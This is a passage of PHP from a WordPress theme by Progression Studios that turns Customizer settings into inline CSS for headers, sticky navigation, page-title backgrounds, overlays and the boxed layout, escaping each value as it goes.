$progression_studios_body_bg = ""; } if ( get_theme_mod( 'progression_studios_page_title_bg_image') ) { $progression_studios_page_title_bg = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_page_title_bg_image') ). ");"; } else { $progression_studios_page_title_bg = ""; } if ( get_theme_mod( 'progression_studios_portfolio_title_bg_image') ) { $progression_studios_portfolio_title_bg = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_portfolio_title_bg_image') ). ");"; } else { $progression_studios_portfolio_title_bg = ""; } if ( get_theme_mod( 'progression_studios_post_title_bg_image') ) { $progression_studios_post_title_bg = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_post_title_bg_image') ). ");"; } else { $progression_studios_post_title_bg = ""; } if ( get_theme_mod( 'progression_studios_body_bg_image_image_position', 'cover') == 'cover') { $progression_studios_body_bg_cover = "background-repeat: no-repeat; background-position:center center; background-size: cover; background-attachment: fixed;"; } else { $progression_studios_body_bg_cover = "background-repeat:repeat-all;"; } if ( get_theme_mod( 'progression_studios_page_title_image_position', 'cover') == 'cover' ) { $progression_studios_page_tite_bg_cover = "background-repeat: no-repeat; background-position:center center; background-size: cover;"; } else { $progression_studios_page_tite_bg_cover = "background-repeat:repeat-all;"; } if ( get_theme_mod( 'progression_studios_page_title_vertical_height') ) { $progression_studios_page_tite_vertical_height = "height:" . esc_attr( get_theme_mod('progression_studios_page_title_vertical_height', '80') ). "vh;"; } else { $progression_studios_page_tite_vertical_height = ""; } if ( get_theme_mod( 'progression_studios_post_title_bg_color') ) { $progression_studios_post_tite_bg_color = "background-color: " . esc_attr( get_theme_mod('progression_studios_post_title_bg_color', '#000000') ) . ";"; } else { $progression_studios_post_tite_bg_color = ""; } if ( get_theme_mod( 'progression_studios_post_page_title_bg_image') ) { $progression_studios_post_tite_bg_image_post = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_post_page_title_bg_image', get_template_directory_uri().'/images/page-title.jpg' ) ). ");"; } else { $progression_studios_post_tite_bg_image_post = ""; } if ( get_theme_mod( 'progression_studios_page_post_title_image_position', 'cover') == 'cover' ) { $progression_studios_post_tite_bg_cover = "background-repeat: no-repeat; background-position:center center; background-size: cover;"; } else { $progression_studios_post_tite_bg_cover = "background-repeat:repeat-all;"; } if ( get_theme_mod( 'progression_studios_page_title_overlay_color', 'rgba(0,0,0,0)') ) { $progression_studios_page_tite_overlay_image_cover = "#progression-studios-post-page-title:before, #page-title-pro:before { background: -moz-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 0%, " . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%); background: -webkit-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 0%," . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%); background: linear-gradient(to bottom, " . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 0%, " . esc_attr( get_theme_mod('progression_studios_page_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%); }"; } else { $progression_studios_page_tite_overlay_image_cover = ""; } if ( get_theme_mod( 'progression_studios_post_title_overlay_color', '#03090d') ) { $progression_studios_post_tite_overlay_image_cover = "body.single-post #page-title-pro:before { background: -moz-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color_top', 'rgba(3,9,13,0.2)') ) . " 0%, " . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color', '#03090d') ) . " 100%); background: -webkit-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color_top', 'rgba(3,9,13,0.2)') ) . " 0%," . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color', '#03090d') ) . " 100%); background: linear-gradient(to bottom, " . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color_top', 'rgba(3,9,13,0.2)') ) . " 0%, " . esc_attr( get_theme_mod('progression_studios_post_title_overlay_color', '#03090d') ) . " 100%); }"; } else { $progression_studios_post_tite_overlay_image_cover = ""; } if ( get_theme_mod( 'progression_studios_portfolio_title_overlay_color', 'rgba(0,0,0,0)') ) { $progression_studios_portfolio_tite_overlay_image_cover = "body.single-portfolio_cannaverde_progression #page-title-pro:before { background: -moz-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 5%, " . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%); background: -webkit-linear-gradient(top, " . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 5%," . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%); background: linear-gradient(to bottom, " . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color_top', 'rgba(0,0,0,0)') ) . " 5%, " . esc_attr( get_theme_mod('progression_studios_portfolio_title_overlay_color', 'rgba(0,0,0,0)') ) . " 100%); }"; } else { $progression_studios_portfolio_tite_overlay_image_cover = ""; } if ( get_theme_mod( 'progression_studios_sticky_logo_width', '0') != '0' ) { $progression_studios_sticky_logo_width = "width:" . esc_attr( get_theme_mod('progression_studios_sticky_logo_width', '70') ) . "px;"; } else { $progression_studios_sticky_logo_width = ""; } if ( get_theme_mod( 'progression_studios_sticky_logo_margin_top', '0') != '0' ) { $progression_studios_sticky_logo_top = "padding-top:" . esc_attr( get_theme_mod('progression_studios_sticky_logo_margin_top', '31') ) . "px;"; } else { $progression_studios_sticky_logo_top = ""; } if ( get_theme_mod( 'progression_studios_sticky_logo_margin_bottom', '0') != '0' ) { $progression_studios_sticky_logo_bottom = "padding-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_logo_margin_bottom', '31') ) . "px;"; } else { $progression_studios_sticky_logo_bottom = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_padding', '0') != '0' ) { $progression_studios_sticky_nav_padding = " .progression-sticky-scrolled .progression-mini-banner-icon { top:" . esc_attr( (get_theme_mod('progression_studios_sticky_nav_padding') - get_theme_mod('progression_studios_nav_font_size', '15')) - 4 ). "px; } .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a { margin-top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 7 ). "px; margin-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 8 ). "px; } .progression-sticky-scrolled #progression-shopping-cart-count span.progression-cart-count { top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') ). "px; } .progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon { padding-top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 4 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 4 ). "px; } .progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search { padding-top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 4 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 4 ). "px; } .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon { padding-top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 5 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') - 5 ). "px; } .progression-sticky-scrolled .sf-menu a { padding-top:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_padding') ). "px; } "; } else { $progression_studios_sticky_nav_padding = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_underline') ) { $progression_studios_sticky_nav_underline = " .progression-sticky-scrolled .sf-menu a:before { background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_underline') ). "; } .progression-sticky-scrolled .sf-menu a:hover:before, .progression-sticky-scrolled .sf-menu li.sfHover a:before, .progression-sticky-scrolled .sf-menu li.current-menu-item a:before { opacity:1; background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_underline') ). "; } "; } else { $progression_studios_sticky_nav_underline = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_font_color') ) { $progression_studios_sticky_nav_option_font_color = " body .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, .progression-sticky-scrolled .active-mobile-icon-pro .mobile-menu-icon-pro, .progression-sticky-scrolled .mobile-menu-icon-pro, .progression-sticky-scrolled .mobile-menu-icon-pro:hover, .progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon, .progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search, .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a, .progression-sticky-scrolled .sf-menu a { color:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_font_color') ) . "; }"; } else { $progression_studios_sticky_nav_option_font_color = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_font_color_hover') ) { $progression_studios_optional_sticky_nav_font_hover = " body .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a:hover, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a:hover, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a:hover, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon:hover, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .activated-class #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .activated-class #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover, .progression-sticky-scrolled .activated-class #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, .progression-sticky-scrolled #progression-studios-header-search-icon:hover .progression-icon-search, .progression-sticky-scrolled #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search, .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover, .progression-sticky-scrolled .sf-menu a:hover, .progression-sticky-scrolled .sf-menu li.sfHover a, .progression-sticky-scrolled .sf-menu li.current-menu-item a { color:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_font_color_hover') ) . "; }"; } else { $progression_studios_optional_sticky_nav_font_hover = ""; } if ( get_theme_mod( 'progression_studios_nav_bg') ) { $progression_studios_optional_nav_bg = "background:" . esc_attr( get_theme_mod('progression_studios_nav_bg') ). ";"; } else { $progression_studios_optional_nav_bg = ""; } if ( get_theme_mod( 'progression_studios_nav_underline', '#8e94a0') ) { $progression_studios_sticky_nav_underline_default = " .sf-menu a:before { background:" . esc_attr( get_theme_mod('progression_studios_nav_underline', '#8e94a0') ). "; } .sf-menu a:hover:before, .sf-menu li.sfHover a:before, .sf-menu li.current-menu-item a:before { opacity:1; background:" . esc_attr( get_theme_mod('progression_studios_nav_underline', '#8e94a0') ). "; } .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a:before, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a:hover:before, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a:before, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a:before, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a:before, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a:hover:before, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a:before, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a:before { background:" . esc_attr( get_theme_mod('progression_studios_nav_underline', '#8e94a0') ). "; } "; } else { $progression_studios_sticky_nav_underline_default = ""; } if ( get_theme_mod( 'progression_studios_top_header_onoff', 'off-pro') == 'off-pro' ) { $progression_studios_top_header_off_on_display = "display:none;"; } else { $progression_studios_top_header_off_on_display = ""; } if ( get_theme_mod( 'progression_studios_pro_scroll_top', 'scroll-on-pro') == "scroll-off-pro" ) { $progression_studios_scroll_top_disable = "display:none !important;"; } else { $progression_studios_scroll_top_disable = ""; } if ( get_theme_mod( 'progression_studios_nav_bg_hover') ) { $progression_studios_optiona_nav_bg_hover = ".sf-menu a:hover, .sf-menu li.sfHover a, .sf-menu li.current-menu-item a { background:". esc_attr( get_theme_mod('progression_studios_nav_bg_hover') ). "; }"; } else { $progression_studios_optiona_nav_bg_hover = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_font_bg') ) { $progression_studios_optiona_sticky_nav_font_bg = ".progression-sticky-scrolled .sf-menu a { background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_font_bg') ). "; }"; } else { $progression_studios_optiona_sticky_nav_font_bg = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_font_hover_bg') ) { $progression_studios_optiona_sticky_nav_hover_bg = ".progression-sticky-scrolled .sf-menu a:hover, .progression-sticky-scrolled .sf-menu li.sfHover a, .progression-sticky-scrolled .sf-menu li.current-menu-item a { background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_font_hover_bg') ). "; }"; } else { $progression_studios_optiona_sticky_nav_hover_bg = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_font_color') ) { $progression_studios_option_sticky_nav_font_color = ".progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a { color:". esc_attr( get_theme_mod('progression_studios_sticky_nav_font_color') ). "; }"; } else { $progression_studios_option_sticky_nav_font_color = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_font_color_hover') ) { $progression_studios_option_stickY_nav_font_hover_color = ".progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon:hover .progression-icon-search, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon:hover .progression-icon-search, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a { color:" . esc_attr( get_theme_mod('progression_studios_sticky_nav_font_color_hover') ) . "; }"; } else { $progression_studios_option_stickY_nav_font_hover_color = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_highlight_font') ) { $progression_studios_option_sticky_hightlight_font_color = "body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:before, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:before, .progression-sticky-scrolled .sf-menu li.sfHover.highlight-button a, .progression-sticky-scrolled .sf-menu li.current-menu-item.highlight-button a, .progression-sticky-scrolled .sf-menu li.highlight-button a, .progression-sticky-scrolled .sf-menu li.highlight-button a:hover { color:". esc_attr( get_theme_mod('progression_studios_sticky_nav_highlight_font') ). "; }"; } else { $progression_studios_option_sticky_hightlight_font_color = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_highlight_button') ) { $progression_studios_option_sticky_hightlight_bg_color = "body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:hover, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:hover, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:before, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:before, .progression-sticky-scrolled .sf-menu li.current-menu-item.highlight-button a:before, .progression-sticky-scrolled .sf-menu li.highlight-button a:before { background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_highlight_button') ). "; }"; } else { $progression_studios_option_sticky_hightlight_bg_color = ""; } if ( get_theme_mod( 'progression_studios_sticky_nav_highlight_button_hover') ) { $progression_studios_option_sticky_hightlight_bg_color_hover = "body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:hover:before, body .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:hover:before, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item.highlight-button a:hover:before, body .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.highlight-button a:hover:before, .progression-sticky-scrolled .sf-menu li.current-menu-item.highlight-button a:hover:before, .progression-sticky-scrolled .sf-menu li.highlight-button a:hover:before { background:". esc_attr( get_theme_mod('progression_studios_sticky_nav_highlight_button_hover') ). "; }"; } else { $progression_studios_option_sticky_hightlight_bg_color_hover = ""; } if ( get_theme_mod( 'progression_studios_mobile_header_bg') ) { $progression_studios_mobile_header_bg_color = ".progression-studios-transparent-header header#masthead-pro, header#masthead-pro {background:". esc_attr( get_theme_mod('progression_studios_mobile_header_bg') ) . "; }"; } else { $progression_studios_mobile_header_bg_color = ""; } if ( get_theme_mod( 'progression_studios_mobile_header_logo_width') ) { $progression_studios_mobile_header_logo_width = "body #logo-pro img { width:" . esc_attr( get_theme_mod('progression_studios_mobile_header_logo_width') ). "px; } "; } else { $progression_studios_mobile_header_logo_width = ""; } if ( get_theme_mod( 'progression_studios_mobile_header_logo_margin') ) { $progression_studios_mobile_header_logo_margin_top = " body #logo-pro img { padding-top:". esc_attr( get_theme_mod('progression_studios_mobile_header_logo_margin') ). "px; padding-bottom:". esc_attr( get_theme_mod('progression_studios_mobile_header_logo_margin') ). "px; }"; } else { $progression_studios_mobile_header_logo_margin_top = ""; } if ( get_theme_mod( 'progression_studios_header_background_color', '#1d1f22') ) { $progression_studios_header_bg_optional = " header#masthead-pro { background-color:" . esc_attr( get_theme_mod('progression_studios_header_background_color', '#1d1f22' ) ) . "; }"; } else { $progression_studios_header_bg_optional = ""; } if ( get_theme_mod( 'progression_studios_header_border_color') ) { $progression_studios_header_border_optional = " .progression-header-phone-number { border-left:1px solid " . esc_attr( get_theme_mod('progression_studios_header_border_color', 'rgba(255,255,255, 0.1)') ) . "; } header#masthead-pro:after { display:block; background-color:" . esc_attr( get_theme_mod('progression_studios_header_border_color', 'rgba(255,255,255, 0.1)') ) . "; }"; } else { $progression_studios_header_border_optional = ""; } if ( get_theme_mod( 'progression_studios_mobile_header_nav_padding') ) { $progression_studios_mobile_header_nav_padding_top = " body header#masthead-pro #progression-shopping-cart-count span.progression-cart-count {top:" . esc_attr( get_theme_mod('progression_studios_mobile_header_nav_padding') ) . "px;} body header#masthead-pro .mobile-menu-icon-pro {padding-top:" . esc_attr( get_theme_mod('progression_studios_mobile_header_nav_padding') - 3 ) . "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_mobile_header_nav_padding') - 5 ) . "px; } body header#masthead-pro #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon { padding-top:" . esc_attr( get_theme_mod('progression_studios_mobile_header_nav_padding') - 5 ) . "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_mobile_header_nav_padding') - 5 ) . "px; }"; } else { $progression_studios_mobile_header_nav_padding_top = ""; } if ( function_exists('z_taxonomy_image_url') && z_taxonomy_image_url() ) { $progression_studios_custom_tax_page_title_img = "body #page-title-overlay-image {background-image:url('" . esc_url( z_taxonomy_image_url() ) . "'); }"; } else { $progression_studios_custom_tax_page_title_img = ""; } if ( is_singular('portfolio_commotion') && get_post_meta($post->ID, 'progression_studios_header_post_image', true ) ) { $progression_studios_custom_portfolio_title_img = "body #page-title-overlay-image {background-image:url('" . esc_url( get_post_meta($post->ID, 'progression_studios_header_post_image', true)) . "'); }"; } else { $progression_studios_custom_portfolio_title_img = ""; } if ( is_page() && get_post_meta($post->ID, 'progression_studios_header_image', true ) ) { $progression_studios_custom_page_title_img = "body #page-title-overlay-image {background-image:url('" . esc_url( get_post_meta($post->ID, 'progression_studios_header_image', true)) . "'); }"; } else { $progression_studios_custom_page_title_img = ""; } if ( class_exists('Woocommerce') ) { global $woocommerce; $your_shop_page = get_post( wc_get_page_id( 'shop' ) ); if ( is_shop() && $your_shop_page || is_singular( 'product') && $your_shop_page || is_tax( 'product_cat') && $your_shop_page || is_tax( 'product_tag') && $your_shop_page ) { if ( get_post_meta($your_shop_page->ID, 'progression_studios_header_image', true ) ) { $progression_studios_woo_page_title = "body #page-title-overlay-image {background-image:url('" . esc_url( get_post_meta($your_shop_page->ID, 'progression_studios_header_image', true) ). "'); }"; } else { $progression_studios_woo_page_title = ""; } } else { $progression_studios_woo_page_title = ""; } } else { $progression_studios_woo_page_title = ""; } if ( !is_front_page() && is_home() || !is_front_page() && is_single() ) { $cover_page = get_page( get_option( 'page_for_posts' )); if ( is_home() && get_post_meta($cover_page->ID, 'progression_studios_header_image', true) || is_singular( 'post') && get_post_meta($cover_page->ID, 'progression_studios_header_image', true)|| is_category( ) && get_post_meta($cover_page->ID, 'progression_studios_header_image', true) ) { $progression_studios_blog_header_img = "body #page-title-overlay-image {background-image:url('" . esc_url( get_post_meta($cover_page->ID, 'progression_studios_header_image', true) ). "'); }"; } else { $progression_studios_blog_header_img = ""; } } else { $progression_studios_blog_header_img = ""; } if ( get_theme_mod( 'progression_studios_header_icon_bg_color') ) { $progression_studios_top_header_icon_bg = "background:" . esc_attr( get_theme_mod('progression_studios_header_icon_bg_color') ) . ";"; } else { $progression_studios_top_header_icon_bg = ""; } if ( get_theme_mod( 'progression_studios_top_header_background') ) { $progression_studios_top_header_background_option = "background-color:" . esc_attr( get_theme_mod('progression_studios_top_header_background', '#666666') ) . ";"; } else { $progression_studios_top_header_background_option = ""; } if ( get_theme_mod( 'progression_studios_top_header_border_bottom', 'rgba(255,255,255, 0.1)') ) { $progression_studios_top_header_border_bottom_option = "border-bottom:1px solid " . esc_attr( get_theme_mod('progression_studios_top_header_border_bottom', 'rgba(255,255,255, 0.1)') ) . ";"; } else { $progression_studios_top_header_border_bottom_option = ""; } if ( get_theme_mod( 'progression_studios_site_boxed') == 'boxed-pro' ) { $progression_studios_boxed_layout = " @media only screen and (min-width: 1024px) { #boxed-layout-pro.progression-studios-preloader {margin-top:90px;} #boxed-layout-pro.progression-studios-preloader.progression-preloader-completed {animation-name: ProMoveUpPageLoaderBoxed; animation-delay:200ms;} #boxed-layout-pro { margin-top:50px; margin-bottom:50px;} } #boxed-layout-pro #content-pro { overflow:hidden; } #boxed-layout-pro { position:relative; width:". esc_attr( get_theme_mod('progression_studios_site_width', '1200') ) . "px; margin-left:auto; margin-right:auto; background-color:". esc_attr( get_theme_mod('progression_studios_boxed_background_color', '#ffffff') ) . "; box-shadow: 0px 0px 50px rgba(0, 0, 0, 0.15); } #boxed-layout-pro .width-container-pro, .width-container-over-ride { width:90%; } @media only screen and (min-width: 1025px) and (max-width: ". esc_attr( get_theme_mod('progression_studios_site_width', '1200') + 100 ) . "px) { body #boxed-layout-pro{width:92%;} } "; } else { $progression_studios_boxed_layout = ""; } $progression_studios_custom_css = " $progression_studios_custom_portfolio_title_img $progression_studios_custom_page_title_img $progression_studios_woo_page_title $progression_studios_custom_tax_page_title_img $progression_studios_blog_header_img body #logo-pro img { width:" . esc_attr( get_theme_mod('progression_studios_theme_logo_width', '132') ) . "px; padding-top:" . esc_attr( get_theme_mod('progression_studios_theme_logo_margin_top', '0') ) . "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_theme_logo_margin_bottom', '0') ) . "px; } a { color:" . esc_attr( get_theme_mod('progression_studios_default_link_color', '#5be592') ) . "; } a:hover { color:" . esc_attr( get_theme_mod('progression_studios_default_link_hover_color', '#ffffff') ). "; } #xion-progression-header-top .sf-mega, header ul .sf-mega {margin-left:-" . esc_attr( get_theme_mod('progression_studios_site_width', '1200') / 2 ) . "px; width:" . esc_attr( get_theme_mod('progression_studios_site_width', '1200') ) . "px;} body .elementor-section.elementor-section-boxed > .elementor-container {max-width:" . esc_attr( get_theme_mod('progression_studios_site_width', '1200') ) . "px;} body.elementor-page.single-product #content-pro .width-container-pro, .width-container-pro, .width-container-over-ride { width:" . esc_attr( get_theme_mod('progression_studios_site_width', '1200') ) . "px; } body.elementor-page .width-container-over-ride { width:" . esc_attr( get_theme_mod('progression_studios_site_width', '1200') - 20 ) . "px; } $progression_studios_header_bg_optional $progression_studios_header_border_optional body.progression-studios-header-sidebar-before #progression-inline-icons .progression-studios-social-icons, body.progression-studios-header-sidebar-before:before, header#masthead-pro { $progression_studios_header_bg_image $progression_studios_header_bg_cover } body { background-color:" . esc_attr( get_theme_mod('progression_studios_background_color', '#03090d') ). "; $progression_studios_body_bg $progression_studios_body_bg_cover } #page-title-pro { background-color:" . esc_attr( get_theme_mod('progression_studios_page_title_bg_color', '#121517') ). "; $progression_studios_page_tite_vertical_height } #page-title-overlay-image { $progression_studios_page_title_bg $progression_studios_page_tite_bg_cover } body.single-post #page-title-overlay-image { $progression_studios_post_title_bg $progression_studios_page_tite_bg_cover } #progression-studios-page-title-container { padding-top:" . esc_attr( get_theme_mod('progression_studios_page_title_padding_top', '180') ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_page_title_padding_bottom', '180') ). "px; text-align:" . esc_attr( get_theme_mod('progression_studios_page_title_align', 'left') ). "; } #progression-studios-post-page-title { background-color:" . esc_attr( get_theme_mod('progression_studios_page_title_bg_color', '#121517') ). "; $progression_studios_page_title_bg $progression_studios_page_tite_bg_cover padding-top:" . esc_attr( get_theme_mod('progression_studios_page_title__postpadding_top', '130') ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_page_title_post_padding_bottom', '125') ). "px; } $progression_studios_page_tite_overlay_image_cover $progression_studios_post_tite_overlay_image_cover body.single-post #progression-studios-page-title-container { padding-top:" . esc_attr( get_theme_mod('progression_studios_post_title_padding_top', '180') ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_post_title_padding_bottom', '180') ). "px; } body.single-portfolio_xion #progression-studios-page-title-container { padding-top:" . esc_attr( get_theme_mod('progression_studios_portfolio_title_padding_top', '350') ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_portfolio_title_padding_bottom', '25') ). "px; } .sidebar h4.widget-title { background:" . esc_attr( get_theme_mod('progression_studios_sidebar_heading_bg', '#1d1f22') ). "; } .sidebar-item { background:" . esc_attr( get_theme_mod('progression_studios_sidebar_widget_bg', '#16171a') ). "; } 